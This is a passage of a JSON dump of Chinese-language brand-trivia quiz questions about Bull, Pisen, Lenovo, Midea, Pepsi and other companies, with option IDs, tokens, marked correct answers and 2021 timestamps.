16:48:16","status":"1"},{"questionId":"6101434045","questionIndex":"2","questionStem":"公牛BULL集团总部在哪里?","options":"[{\"optionId\":\"LcUSx0BQiz4m_W1X7WIJaKQSEL2aYdjpDqU\",\"optionDesc\":\"四川\"},{\"optionId\":\"LcUSx0BQiz4m_W1X7WIJaWEOxLdY1PjCpaU\",\"optionDesc\":\"上海\"},{\"optionId\":\"LcUSx0BQiz4m_W1X7WIJavtmHJa6ARXtFsk\",\"optionDesc\":\"浙江\"}]","questionToken":"LcUSx0BQiz4m_W0G_ioSOKF6bDrQG-w3iIc0Koo1_6mKan_guKldR7jxgtM70XU8bdTCaSFevUw18S6Cl0vVjUPsnmEraQ","correct":"{\"optionId\":\"LcUSx0BQiz4m_W1X7WIJavtmHJa6ARXtFsk\",\"optionDesc\":\"浙江\"}","create_time":"2/2/2021 16:47:27","update_time":"2/2/2021 16:47:27","status":"1"},{"questionId":"6101434046","questionIndex":"5","questionStem":"公牛品牌的标志颜色是什么?","options":"[{\"optionId\":\"LcUSx0BQiz4m_m1X7WIJasBxsKKg90D1NK3m\",\"optionDesc\":\"红色\"},{\"optionId\":\"LcUSx0BQiz4m_m1X7WIJaA8-3jnMAC5ufDkv\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"LcUSx0BQiz4m_m1X7WIJaQ8bdvNjOEr1hPjL\",\"optionDesc\":\"黄色\"}]","questionToken":"LcUSx0BQiz4m_m0B_ioSP-uE2gB0DQkjCcSRV2umQPXiuv6Z2aklAug21ugmEZ2vsOnpXyZXKvwXwakUCBDJZd24BEtdeg","correct":"{\"optionId\":\"LcUSx0BQiz4m_m1X7WIJasBxsKKg90D1NK3m\",\"optionDesc\":\"红色\"}","create_time":"2/2/2021 16:48:06","update_time":"2/2/2021 16:48:06","status":"1"},{"questionId":"6101434047","questionIndex":"1","questionStem":"以下哪类产品属于公牛BULL售卖范围?","options":"[{\"optionId\":\"LcUSx0BQiz4m_21X7WIJaQunLDuFX2bA2x-2Ow\",\"optionDesc\":\"加湿器\"},{\"optionId\":\"LcUSx0BQiz4m_21X7WIJavIj1N7CWbsUzCJIRA\",\"optionDesc\":\"墙壁开关\"},{\"optionId\":\"LcUSx0BQiz4m_21X7WIJaN7ZITp3LPpg-oed3g\",\"optionDesc\":\"计算机\"}]","questionToken":"LcUSx0BQiz4m_20F_ioSOAku9qVgitwL4Oim2C5PH4cuOlg5UIrMArdANyo0qWBFzCuzQ24P7pgp8PZHXoca-ta8vaL_FQ","correct":"{\"optionId\":\"LcUSx0BQiz4m_21X7WIJavIj1N7CWbsUzCJIRA\",\"optionDesc\":\"墙壁开关\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"6101434048","questionIndex":"3","questionStem":"品胜第一个移动电源为谁研发?","options":"[{\"optionId\":\"LcUSx0BQiz4m8G1X7WIJafYTRKrkMSjfxEP1FQ\",\"optionDesc\":\"运动员\"},{\"optionId\":\"LcUSx0BQiz4m8G1X7WIJamiMi9Cm-juQxMum4A\",\"optionDesc\":\"探险队\"},{\"optionId\":\"LcUSx0BQiz4m8G1X7WIJaExWl2jX85Od_Hvpsg\",\"optionDesc\":\"艺术家\"}]","questionToken":"LcUSx0BQiz4m8G0H_ioSODSOt4d_PN5KxsIYCWrH0zBL9Iu6Rf-IcdrE8VGV-R8eGBNvDTSFhXwXTAiT9WoJ5x-_v-nZEg","correct":"{\"optionId\":\"LcUSx0BQiz4m8G1X7WIJamiMi9Cm-juQxMum4A\",\"optionDesc\":\"探险队\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"6101434049","questionIndex":"5","questionStem":"品胜是不是CBA的赞助商?","options":"[{\"optionId\":\"LcUSx0BQiz4m8W1X7WIJakyI_N3ObEeDJg7Obw\",\"optionDesc\":\"是\"},{\"optionId\":\"LcUSx0BQiz4m8W1X7WIJaMY_uWzgoI2S_zmZPg\",\"optionDesc\":\"不清楚\"},{\"optionId\":\"LcUSx0BQiz4m8W1X7WIJaRq2ndJ3Jgj7Pc2sjg\",\"optionDesc\":\"不是\"}]","questionToken":"LcUSx0BQiz4m8W0B_ioSP-IKNxjCDjeI1SR-7BY9-J6yTpV_JQZuUkz-dS_sk9cOAU4meRhAFAcVNGyyCQNRvuJeTxLdEg","correct":"{\"optionId\":\"LcUSx0BQiz4m8W1X7WIJakyI_N3ObEeDJg7Obw\",\"optionDesc\":\"是\"}","create_time":"2/2/2021 16:48:09","update_time":"2/2/2021 16:48:09","status":"1"},{"questionId":"6101434050","questionIndex":"1","questionStem":"品胜的LOGO是什么颜色?","options":"[{\"optionId\":\"LcUSx0BQiz4n-G1X7WIJaAg7qp8HRZlzdm5-0w\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"LcUSx0BQiz4n-G1X7WIJaWQE4BnfBXcKIGI9ow\",\"optionDesc\":\"红色\"},{\"optionId\":\"LcUSx0BQiz4n-G1X7WIJauKd1ykv6Z7GERUslQ\",\"optionDesc\":\"黄色\"}]","questionToken":"LcUSx0BQiz4n-G0F_ioSP6GUciWmzWvzlV8FokTxxsrywlAYXYIC-BvGCLDW3A-KDw3igEG9CszWGkcOBwvqYmUza2alHQ","correct":"{\"optionId\":\"LcUSx0BQiz4n-G1X7WIJauKd1ykv6Z7GERUslQ\",\"optionDesc\":\"黄色\"}","create_time":"2/2/2021 16:48:53","update_time":"2/2/2021 16:48:53","status":"1"},{"questionId":"6101434051","questionIndex":"5","questionStem":"金海马是在什么时候成立的?","options":"[{\"optionId\":\"LcUSx0BQiz4n-W1X7WIJaI-GDzM1VDzUsmA8\",\"optionDesc\":\"成立于1992年\"},{\"optionId\":\"LcUSx0BQiz4n-W1X7WIJav9hdR0Wb7WxNwc_\",\"optionDesc\":\"成立于1990年\"},{\"optionId\":\"LcUSx0BQiz4n-W1X7WIJaZtt32ccY2H69ocu\",\"optionDesc\":\"成立于1991年\"}]","questionToken":"LcUSx0BQiz4n-W0B_ioSOG3x9J1aGijGH-de6i7TO7fpQTJoZYB5Sz_vkl-AXMZRXlPmtXb310Bk-qx-Orec4pPc2XHioQ","correct":"{\"optionId\":\"LcUSx0BQiz4n-W1X7WIJav9hdR0Wb7WxNwc_\",\"optionDesc\":\"成立于1990年\"}","create_time":"2/2/2021 16:47:55","update_time":"2/2/2021 16:47:55","status":"1"},{"questionId":"6101434052","questionIndex":"4","questionStem":"金海马主要经营什么类目?","options":"[{\"optionId\":\"LcUSx0BQiz4n-m1X7WIJagHmApIkStxoDb8W\",\"optionDesc\":\"家具家居\"},{\"optionId\":\"LcUSx0BQiz4n-m1X7WIJaOSfRx4mGNJf4TcT\",\"optionDesc\":\"服装\"},{\"optionId\":\"LcUSx0BQiz4n-m1X7WIJaUSUZxNa1lq1MXRk\",\"optionDesc\":\"生鲜\"}]","questionToken":"LcUSx0BQiz4n-m0A_ioSP7NPMM0NjLhoSM4GqwcZnZgz5B7CNnc5YOskD-UxbZxDUHZngDguwfMcEb6G10CiVsCjcplOFg","correct":"{\"optionId\":\"LcUSx0BQiz4n-m1X7WIJagHmApIkStxoDb8W\",\"optionDesc\":\"家具家居\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6101434054","questionIndex":"4","questionStem":"港荣什么时候成立的?","options":"[{\"optionId\":\"LcUSx0BQiz4n_G1X7WIJaZYxwCTJNjTNfFM\",\"optionDesc\":\"1992年\"},{\"optionId\":\"LcUSx0BQiz4n_G1X7WIJaIOxyGYfc3ypYPY\",\"optionDesc\":\"1991年\"},{\"optionId\":\"LcUSx0BQiz4n_G1X7WIJaurGc3KHoEl_oMw\",\"optionDesc\":\"1993年\"}]","questionToken":"LcUSx0BQiz4n_G0A_ioSP26sxm2NpfIN7ocFpAZmR7QgotQ6I43Vv92nyMU4Ed5Rp8cdLe2QOPUyXQwjsAUyGlkVPYFFcA","correct":"{\"optionId\":\"LcUSx0BQiz4n_G1X7WIJaurGc3KHoEl_oMw\",\"optionDesc\":\"1993年\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6101434055","questionIndex":"3","questionStem":"小度在哪一年春晚闪亮登场?","options":"[{\"optionId\":\"LcUSx0BQiz4n_W1X7WIJaTP78QfL5sXZSdlH\",\"optionDesc\":\"2008\"},{\"optionId\":\"LcUSx0BQiz4n_W1X7WIJaOtsxVdhN23LDNEM\",\"optionDesc\":\"2018\"},{\"optionId\":\"LcUSx0BQiz4n_W1X7WIJan3GotWMIa1xuMzy\",\"optionDesc\":\"2019\"}]","questionToken":"LcUSx0BQiz4n_W0H_ioSP0cIfllxmjZkegvexZgevn4QWVd7XFKfvmrNDg-S0pmfNspRZidb4qVjkAjf9K8yg-gzv8Vl9w","correct":"{\"optionId\":\"LcUSx0BQiz4n_W1X7WIJan3GotWMIa1xuMzy\",\"optionDesc\":\"2019\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6101434056","questionIndex":"5","questionStem":"小度智能耳机支持哪种语言同声翻译?","options":"[{\"optionId\":\"LcUSx0BQiz4n_m1X7WIJajyOKDLwtXvbY94f\",\"optionDesc\":\"中英\"},{\"optionId\":\"LcUSx0BQiz4n_m1X7WIJaLvc6Gu-Bxa5UK4Y\",\"optionDesc\":\"中法\"},{\"optionId\":\"LcUSx0BQiz4n_m1X7WIJaWPXiEr0GoNcAggH\",\"optionDesc\":\"中日\"}]","questionToken":"LcUSx0BQiz4n_m0B_ioSP6BZY_m9UY9JAFwW4Buin6UhwBurz-zmOMPfaX8plKZv1-RIU68OTMCcnyxMEV4bx_lRHX7kaA","correct":"{\"optionId\":\"LcUSx0BQiz4n_m1X7WIJajyOKDLwtXvbY94f\",\"optionDesc\":\"中英\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6101434057","questionIndex":"4","questionStem":"小度X8是哪一个综艺的明星爆款?","options":"[{\"optionId\":\"LcUSx0BQiz4n_21X7WIJaccGVUKumBhZhME8\",\"optionDesc\":\"向往的生活3\"},{\"optionId\":\"LcUSx0BQiz4n_21X7WIJaBLlUWNIdhtZWJh-\",\"optionDesc\":\"亲爱的客栈3\"},{\"optionId\":\"LcUSx0BQiz4n_21X7WIJataXyxNFaqrJjSay\",\"optionDesc\":\"向往的生活4\"}]","questionToken":"LcUSx0BQiz4n_20A_ioSONYhnA7KtgoFct1igqGWD0q3or1Zg-nOcFdwkjQMp6TRzrs-Q8ry_pCISbwcfCWUmHf27J7R5A","correct":"{\"optionId\":\"LcUSx0BQiz4n_21X7WIJataXyxNFaqrJjSay\",\"optionDesc\":\"向往的生活4\"}","create_time":"2/2/2021 16:47:48","update_time":"2/2/2021 16:47:48","status":"1"},{"questionId":"6101434058","questionIndex":"5","questionStem":"腾达Wi-Fi6有几款?","options":"[{\"optionId\":\"LcUSx0BQiz4n8G1X7WIJaq2lnMwEzS0e2SXs\",\"optionDesc\":\"1款\"},{\"optionId\":\"LcUSx0BQiz4n8G1X7WIJaFHdcKdD4EZ9T_QO\",\"optionDesc\":\"5款\"},{\"optionId\":\"LcUSx0BQiz4n8G1X7WIJaczilEPfv5kVWfsg\",\"optionDesc\":\"3款\"}]","questionToken":"LcUSx0BQiz4n8G0B_ioSOAbcfRsfHcELPp_okAWrV3iigENF8gIQy9ymZRDrteGFx26XTyoE3LOnlQCb5XNnCbOJDUTxOQ","correct":"{\"optionId\":\"LcUSx0BQiz4n8G1X7WIJaq2lnMwEzS0e2SXs\",\"optionDesc\":\"1款\"}","create_time":"2/2/2021 16:48:16","update_time":"2/2/2021 16:48:16","status":"1"},{"questionId":"6101434059","questionIndex":"1","questionStem":"腾达AX3路由器是什么处理器?","options":"[{\"optionId\":\"LcUSx0BQiz4n8W1X7WIJaOvhgqIjnrP37AAVRw\",\"optionDesc\":\"高通\"},{\"optionId\":\"LcUSx0BQiz4n8W1X7WIJaV-JSXXGMWITw5VxcQ\",\"optionDesc\":\"博通\"},{\"optionId\":\"LcUSx0BQiz4n8W1X7WIJavPFFNewFYytG6knIA\",\"optionDesc\":\"联发科\"}]","questionToken":"LcUSx0BQiz4n8W0F_ioSPxcZG6kqGz6TwwgFMJ54wCJ0I4x5neK4J25LYZ1eSLtWhaootc0-67lGklM3PDl3rijcpZCN5w","correct":"{\"optionId\":\"LcUSx0BQiz4n8W1X7WIJavPFFNewFYytG6knIA\",\"optionDesc\":\"联发科\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6101434060","questionIndex":"2","questionStem":"腾达总部位于哪里?","options":"[{\"optionId\":\"LcUSx0BQiz4k-G1X7WIJaI4hSCUQ70g3ZtA\",\"optionDesc\":\"深圳\"},{\"optionId\":\"LcUSx0BQiz4k-G1X7WIJabHJELy8CtVQPp8\",\"optionDesc\":\"上海\"},{\"optionId\":\"LcUSx0BQiz4k-G1X7WIJaibZZbLx2hfkRXs\",\"optionDesc\":\"北京\"}]","questionToken":"LcUSx0BQiz4k-G0G_ioSOAemjigd4y_Z14E30AQRtB0Z7oMvhzvLkH7br03zQGUfPEDmw98-DQ-IR35sapjP_MaEQeCE9w","correct":"{\"optionId\":\"LcUSx0BQiz4k-G1X7WIJaibZZbLx2hfkRXs\",\"optionDesc\":\"北京\"}","create_time":"2/2/2021 16:48:10","update_time":"2/2/2021 16:48:10","status":"1"},{"questionId":"6101434061","questionIndex":"1","questionStem":"佳能的LOGO是什么颜色?","options":"[{\"optionId\":\"LcUSx0BQiz4k-W1X7WIJaCcHO8b5YtSE7Nm6Vg\",\"optionDesc\":\"黄色\"},{\"optionId\":\"LcUSx0BQiz4k-W1X7WIJakie_4kIYLr3XXEc6Q\",\"optionDesc\":\"红色\"},{\"optionId\":\"LcUSx0BQiz4k-W1X7WIJabDBzua6wLeEMSjs7A\",\"optionDesc\":\"蓝色\"}]","questionToken":"LcUSx0BQiz4k-W0F_ioSP5vBPOGEacOZ_J6gpuN6bhEgmCnJ8Lj3qN0y09J6u2_Z5ETZ6A8xOndVAsaRw_jq_lBw_8b1yg","correct":"{\"optionId\":\"LcUSx0BQiz4k-W1X7WIJakie_4kIYLr3XXEc6Q\",\"optionDesc\":\"红色\"}","create_time":"2/2/2021 16:47:57","update_time":"2/2/2021 16:47:57","status":"1"},{"questionId":"6101434062","questionIndex":"5","questionStem":"佳能相机适合什么年龄的人使用?","options":"[{\"optionId\":\"LcUSx0BQiz4k-m1X7WIJaZGDwY68TCK_N1Kf\",\"optionDesc\":\"20岁以下\"},{\"optionId\":\"LcUSx0BQiz4k-m1X7WIJajTdREWHF4vmQiCK\",\"optionDesc\":\"任何年龄段都适用\"},{\"optionId\":\"LcUSx0BQiz4k-m1X7WIJaBFpJqqlb0grmUtm\",\"optionDesc\":\"50岁以上\"}]","questionToken":"LcUSx0BQiz4k-m0B_ioSOPMXRAfFYMFgXzeM3Alv-NwcPhDVMjdQnqBPnAecRzNCjgv0hFWbFcCX2QthzDFW1XqsnFUhJQ","correct":"{\"optionId\":\"LcUSx0BQiz4k-m1X7WIJajTdREWHF4vmQiCK\",\"optionDesc\":\"任何年龄段都适用\"}","create_time":"2/2/2021 16:47:55","update_time":"2/2/2021 16:47:55","status":"1"},{"questionId":"6101434063","questionIndex":"2","questionStem":"佳能成立时间是哪年?","options":"[{\"optionId\":\"LcUSx0BQiz4k-21X7WIJauKNJeaqmjM1UnPH\",\"optionDesc\":\"1937年\"},{\"optionId\":\"LcUSx0BQiz4k-21X7WIJac4NZD6yPFAx50wL\",\"optionDesc\":\"2017年\"},{\"optionId\":\"LcUSx0BQiz4k-21X7WIJaMyM-L1Wz0pFc7AR\",\"optionDesc\":\"1957年\"}]","questionToken":"LcUSx0BQiz4k-20G_ioSP06tLLbb7vRk5yd18jIns_HvyVxG4s6v02kvKA-jDXLLJYrXCv_hQvT2MI8sLQFsocIiketvxg","correct":"{\"optionId\":\"LcUSx0BQiz4k-21X7WIJauKNJeaqmjM1UnPH\",\"optionDesc\":\"1937年\"}","create_time":"2/2/2021 16:48:01","update_time":"2/2/2021 16:48:01","status":"1"},{"questionId":"6101434064","questionIndex":"3","questionStem":"联想的logo正确使用是那个?","options":"[{\"optionId\":\"LcUSx0BQiz4k_G1X7WIJar3w1w-MmREoW1Ux5w\",\"optionDesc\":\"lenovo联想\"},{\"optionId\":\"LcUSx0BQiz4k_G1X7WIJactNFc6OoKSLKKmDPw\",\"optionDesc\":\"lenovo\"},{\"optionId\":\"LcUSx0BQiz4k_G1X7WIJaBe8uontxurCzqXOhw\",\"optionDesc\":\"联想\"}]","questionToken":"LcUSx0BQiz4k_G0H_ioSP72CIBdTV8wGKbOdrXH0VzV_5D-0uEfncEvgPLzCdghpNeLq-IHJitTkFQMD6fRlOuhHl8yzXw","correct":"{\"optionId\":\"LcUSx0BQiz4k_G1X7WIJar3w1w-MmREoW1Ux5w\",\"optionDesc\":\"lenovo联想\"}","create_time":"2/2/2021 16:47:30","update_time":"2/2/2021 16:47:30","status":"1"},{"questionId":"6101434065","questionIndex":"4","questionStem":"联想成立于那年?","options":"[{\"optionId\":\"LcUSx0BQiz4k_W1X7WIJaIkQgdn8es1aaKHjLw\",\"optionDesc\":\"1995年\"},{\"optionId\":\"LcUSx0BQiz4k_W1X7WIJalNihzkOB0mjl4FX9Q\",\"optionDesc\":\"1984年\"},{\"optionId\":\"LcUSx0BQiz4k_W1X7WIJaVSw-kEqatVKQ72LuQ\",\"optionDesc\":\"2000年\"}]","questionToken":"LcUSx0BQiz4k_W0A_ioSOJcPG_FRhCFdrVKyCIsueNwUdcNi9x2JcTtDyEhHvwmtTRh9o2DXB1lmjYPeyTUAX2b_Iex9bA","correct":"{\"optionId\":\"LcUSx0BQiz4k_W1X7WIJalNihzkOB0mjl4FX9Q\",\"optionDesc\":\"1984年\"}","create_time":"2/2/2021 16:48:00","update_time":"2/2/2021 16:48:00","status":"1"},{"questionId":"6101434066","questionIndex":"2","questionStem":"联想游戏本系列叫什么名字?","options":"[{\"optionId\":\"LcUSx0BQiz4k_m1X7WIJan6A9krW8QWhOGzW\",\"optionDesc\":\"联想拯救者\"},{\"optionId\":\"LcUSx0BQiz4k_m1X7WIJadpSOOSHRj2XTtbX\",\"optionDesc\":\"联想小新\"},{\"optionId\":\"LcUSx0BQiz4k_m1X7WIJaKqsF9SE-6CPEsi6\",\"optionDesc\":\"联想YOGA\"}]","questionToken":"LcUSx0BQiz4k_m0G_ioSP9sFRyVg_7gWTSjGpxeQQ7QpMeCBtb6rbLHYtLXlhNwtWPhKhXXxBXQfaNrpivbfIK_t-IDSJA","correct":"{\"optionId\":\"LcUSx0BQiz4k_m1X7WIJan6A9krW8QWhOGzW\",\"optionDesc\":\"联想拯救者\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6101434067","questionIndex":"4","questionStem":"ThinkPad小红点起源于哪年?","options":"[{\"optionId\":\"LcUSx0BQiz4k_21X7WIJan2pVT7Dlgghaq6OmA\",\"optionDesc\":\"1992\"},{\"optionId\":\"LcUSx0BQiz4k_21X7WIJaBo5oVXWw4OfTBW6WA\",\"optionDesc\":\"2077\"},{\"optionId\":\"LcUSx0BQiz4k_21X7WIJaRyNGXlXTttFiuaWFQ\",\"optionDesc\":\"1921\"}]","questionToken":"LcUSx0BQiz4k_20A_ioSOJjJdmPwpQaFq1E0GVuR-5qkT9uynq567keGTPtuiPzyldfmI-wDUHjQr3Y-sfE78joCasZ74g","correct":"{\"optionId\":\"LcUSx0BQiz4k_21X7WIJan2pVT7Dlgghaq6OmA\",\"optionDesc\":\"1992\"}","create_time":"2/2/2021 16:47:34","update_time":"2/2/2021 16:47:34","status":"1"},{"questionId":"6101434068","questionIndex":"4","questionStem":"最早ThinkPad黑色外观设计灵感来源?","options":"[{\"optionId\":\"LcUSx0BQiz4k8G1X7WIJaU380FYCeEHV0mm-\",\"optionDesc\":\"铅笔盒\"},{\"optionId\":\"LcUSx0BQiz4k8G1X7WIJapCQn2n2lyMgzlqW\",\"optionDesc\":\"松花堂便当盒\"},{\"optionId\":\"LcUSx0BQiz4k8G1X7WIJaJvmvZRumfLlLGp2\",\"optionDesc\":\"盲盒\"}]","questionToken":"LcUSx0BQiz4k8G0A_ioSOO9l2uw56mD9wIlfa16S-tUAocXI-90acTwUI2gQ-KIx-p2F2IBDKOOMCO51zQ6EzJAD5Scf9w","correct":"{\"optionId\":\"LcUSx0BQiz4k8G1X7WIJapCQn2n2lyMgzlqW\",\"optionDesc\":\"松花堂便当盒\"}","create_time":"2/2/2021 16:48:03","update_time":"2/2/2021 16:48:03","status":"1"},{"questionId":"6101434069","questionIndex":"3","questionStem":"ThinkPad经典颜色是什么?","options":"[{\"optionId\":\"LcUSx0BQiz4k8W1X7WIJafg0ktWRq6sBTP9Aiw\",\"optionDesc\":\"白色\"},{\"optionId\":\"LcUSx0BQiz4k8W1X7WIJakt5NNgPZwIYJlWDXQ\",\"optionDesc\":\"黑色\"},{\"optionId\":\"LcUSx0BQiz4k8W1X7WIJaAr1Vmr7CTR6Q50RxA\",\"optionDesc\":\"红色\"}]","questionToken":"LcUSx0BQiz4k8W0H_ioSOCbUD2GaNNdpl1dIGoiWLkyQhqweFz5Dbrq7sNXyO7MgBglbYc_o29luEMWvEhnuUlCVpFemFw","correct":"{\"optionId\":\"LcUSx0BQiz4k8W1X7WIJakt5NNgPZwIYJlWDXQ\",\"optionDesc\":\"黑色\"}","create_time":"2/2/2021 16:47:41","update_time":"2/2/2021 16:47:41","status":"1"},{"questionId":"6101434070","questionIndex":"3","questionStem":"美的集团成立于哪一年?","options":"[{\"optionId\":\"LcUSx0BQiz4l-G1X7WIJaS7dX8SWNP7-7FRI\",\"optionDesc\":\"1986年\"},{\"optionId\":\"LcUSx0BQiz4l-G1X7WIJaPnZh71ZItqDwsNT\",\"optionDesc\":\"1976年\"},{\"optionId\":\"LcUSx0BQiz4l-G1X7WIJauHYo_8MYf4zTBcC\",\"optionDesc\":\"1968年\"}]","questionToken":"LcUSx0BQiz4l-G0H_ioSP2QVjeVuzmR-VBLlhuMpx9TsEIs5Ncdy-sunH9d366wfxL4iRrhD2Cm_tJj75k804s4NCHYaKw","correct":"{\"optionId\":\"LcUSx0BQiz4l-G1X7WIJauHYo_8MYf4zTBcC\",\"optionDesc\":\"1968年\"}","create_time":"2/2/2021 16:47:49","update_time":"2/2/2021 16:47:49","status":"1"},{"questionId":"6101434071","questionIndex":"1","questionStem":"美的集团的创始人是?","options":"[{\"optionId\":\"LcUSx0BQiz4l-W1X7WIJaq7bVWVLzRJjkmiO\",\"optionDesc\":\"何享健\"},{\"optionId\":\"LcUSx0BQiz4l-W1X7WIJaMmfjb-adkmIern_\",\"optionDesc\":\"何剑锋\"},{\"optionId\":\"LcUSx0BQiz4l-W1X7WIJaUMr5VV5XuJQlaAO\",\"optionDesc\":\"方洪波\"}]","questionToken":"LcUSx0BQiz4l-W0F_ioSOJGOQeLWaNc4Li-3LNow-xFEjqYPYFyoK-jyZPF90DAHvIqfQ8X-MOnuWkmMKSQ3OZMKfinaJA","correct":"{\"optionId\":\"LcUSx0BQiz4l-W1X7WIJaq7bVWVLzRJjkmiO\",\"optionDesc\":\"何享健\"}","create_time":"2/2/2021 16:47:59","update_time":"2/2/2021 16:47:59","status":"1"},{"questionId":"6101434072","questionIndex":"5","questionStem":"美的集团总部坐落于?","options":"[{\"optionId\":\"LcUSx0BQiz4l-m1X7WIJaGS5jxgHwxY-Z8D4\",\"optionDesc\":\"芜湖\"},{\"optionId\":\"LcUSx0BQiz4l-m1X7WIJac3V5EhEXv6H8MM8\",\"optionDesc\":\"广州\"},{\"optionId\":\"LcUSx0BQiz4l-m1X7WIJasYOKF5hnuEs9V7B\",\"optionDesc\":\"顺德\"}]","questionToken":"LcUSx0BQiz4l-m0B_ioSOHRHbvHkSWIFIyn4ww20dx_Fe8BHewdtJ5iCKbB7Aju2bqbxkSdmdBr4j01SGBGLpNfKozTfUA","correct":"{\"optionId\":\"LcUSx0BQiz4l-m1X7WIJasYOKF5hnuEs9V7B\",\"optionDesc\":\"顺德\"}","create_time":"2/2/2021 16:47:36","update_time":"2/2/2021 16:47:36","status":"1"},{"questionId":"6101434073","questionIndex":"5","questionStem":"以下哪个不是美的空调专利技术?","options":"[{\"optionId\":\"LcUSx0BQiz4l-21X7WIJahntP1vTXc0Y4Ms\",\"optionDesc\":\"自清洁专利\"},{\"optionId\":\"LcUSx0BQiz4l-21X7WIJafRTCew22VHt7_0\",\"optionDesc\":\"高频速冷热专利\"},{\"optionId\":\"LcUSx0BQiz4l-21X7WIJaJCAQYVxsMVrugc\",\"optionDesc\":\"无风感专利\"}]","questionToken":"LcUSx0BQiz4l-20B_ioSP4sI_YtM8Mj54R3OXU_n4PxO82ysfuXVL2k_4vaXvEAq0cbU8eu4ZUzvCBl6hvzvOygnNex6Bg","correct":"{\"optionId\":\"LcUSx0BQiz4l-21X7WIJahntP1vTXc0Y4Ms\",\"optionDesc\":\"自清洁专利\"}","create_time":"2/2/2021 16:47:49","update_time":"2/2/2021 16:47:49","status":"1"},{"questionId":"6101434074","questionIndex":"3","questionStem":"以下哪个品牌不属于美的集团?","options":"[{\"optionId\":\"LcUSx0BQiz4l_G1X7WIJaeF3H9JQmpzEd1U\",\"optionDesc\":\"小天鹅\"},{\"optionId\":\"LcUSx0BQiz4l_G1X7WIJaAx1sGAZivxdZzI\",\"optionDesc\":\"威灵控股\"},{\"optionId\":\"LcUSx0BQiz4l_G1X7WIJang_PTCqyTMi7yw\",\"optionDesc\":\"美菱\"}]","questionToken":"LcUSx0BQiz4l_G0H_ioSP2-21L_mF67JqQ23zYYD6ndoRP-gQtgiqQB3nck3jRdvmYy8weto3tbXeqOINNZDiurwzAteWA","correct":"{\"optionId\":\"LcUSx0BQiz4l_G1X7WIJang_PTCqyTMi7yw\",\"optionDesc\":\"美菱\"}","create_time":"2/2/2021 16:48:13","update_time":"2/2/2021 16:48:13","status":"1"},{"questionId":"6101434075","questionIndex":"1","questionStem":"百事可乐是诞生于哪个国家的品牌?","options":"[{\"optionId\":\"LcUSx0BQiz4l_W1X7WIJaV4eU3XuYCWw0Q\",\"optionDesc\":\"中国\"},{\"optionId\":\"LcUSx0BQiz4l_W1X7WIJaqp-o3vsPN5EzA\",\"optionDesc\":\"美国\"},{\"optionId\":\"LcUSx0BQiz4l_W1X7WIJaKf55_KBr1YeTg\",\"optionDesc\":\"英国\"}]","questionToken":"LcUSx0BQiz4l_W0F_ioSOG3LjZEjJg5p_AgVuaYCsFKWjHhEBt0I6iJhKJNfn8TCJxdlwgbnfNF2VbooDDzZEGZmOprypQ","correct":"{\"optionId\":\"LcUSx0BQiz4l_W1X7WIJaqp-o3vsPN5EzA\",\"optionDesc\":\"美国\"}","create_time":"2/2/2021 16:47:41","update_time":"2/2/2021 16:47:41","status":"1"},{"questionId":"6101434076","questionIndex":"5","questionStem":"以下哪个属于百事可乐旗下品牌?","options":"[{\"optionId\":\"LcUSx0BQiz4l_m1X7WIJaRDYfGSTonhhAnY\",\"optionDesc\":\"芬达\"},{\"optionId\":\"LcUSx0BQiz4l_m1X7WIJaKs98cVZZC5aR58\",\"optionDesc\":\"雪碧\"},{\"optionId\":\"LcUSx0BQiz4l_m1X7WIJakX5Luf1foE8kyw\",\"optionDesc\":\"美年达\"}]","questionToken":"LcUSx0BQiz4l_m0B_ioSOCv_YWOqtNqBIXSB2gEdZ3rCwZvhNnhOwINQqQuGITkUFmv6bFSGSWUHwR5fFjc-N9nM02I0yg","correct":"{\"optionId\":\"LcUSx0BQiz4l_m1X7WIJakX5Luf1foE8kyw\",\"optionDesc\":\"美年达\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6101434077","questionIndex":"1","questionStem":"百事可乐的品牌主色调是?","options":"[{\"optionId\":\"LcUSx0BQiz4l_21X7WIJabv-XKKL9Fvy5h__1w\",\"optionDesc\":\"红色\"},{\"optionId\":\"LcUSx0BQiz4l_21X7WIJaiNQHknJhTE3YTJoKw\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"LcUSx0BQiz4l_21X7WIJaFPXHCLB5TMiOnP6Zw\",\"optionDesc\":\"绿色\"}]","questionToken":"LcUSx0BQiz4l_20F_ioSODsCWhHAQmtfC6Dy1HUbqUGUAMkyYcNMSSBw_fvSM1SY4UjrWY1v416rmjUHxH3H2dFtxuUS7g","correct":"{\"optionId\":\"LcUSx0BQiz4l_21X7WIJaiNQHknJhTE3YTJoKw\",\"optionDesc\":\"蓝色\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"6101434078","questionIndex":"5","questionStem":"下列哪个是百事可乐无糖独有的口味?","options":"[{\"optionId\":\"LcUSx0BQiz4l8G1X7WIJajPFuLEqxexV-6PKGw\",\"optionDesc\":\"树莓味\"},{\"optionId\":\"LcUSx0BQiz4l8G1X7WIJaDVMCK68XyF6bCN8Fg\",\"optionDesc\":\"生姜味\"},{\"optionId\":\"LcUSx0BQiz4l8G1X7WIJaTNbK66DrPS2-0nGyA\",\"optionDesc\":\"咖啡味\"}]","questionToken":"LcUSx0BQiz4l8G0B_ioSOCUoazR-bAgta8o7P8BFFruCU8IB4Voor-Im8ApVXDjlGrFq2nsqHs1OrdDjhWTnv8ItIkpS0g","correct":"{\"optionId\":\"LcUSx0BQiz4l8G1X7WIJajPFuLEqxexV-6PKGw\",\"optionDesc\":\"树莓味\"}","create_time":"2/2/2021 16:47:58","update_time":"2/2/2021 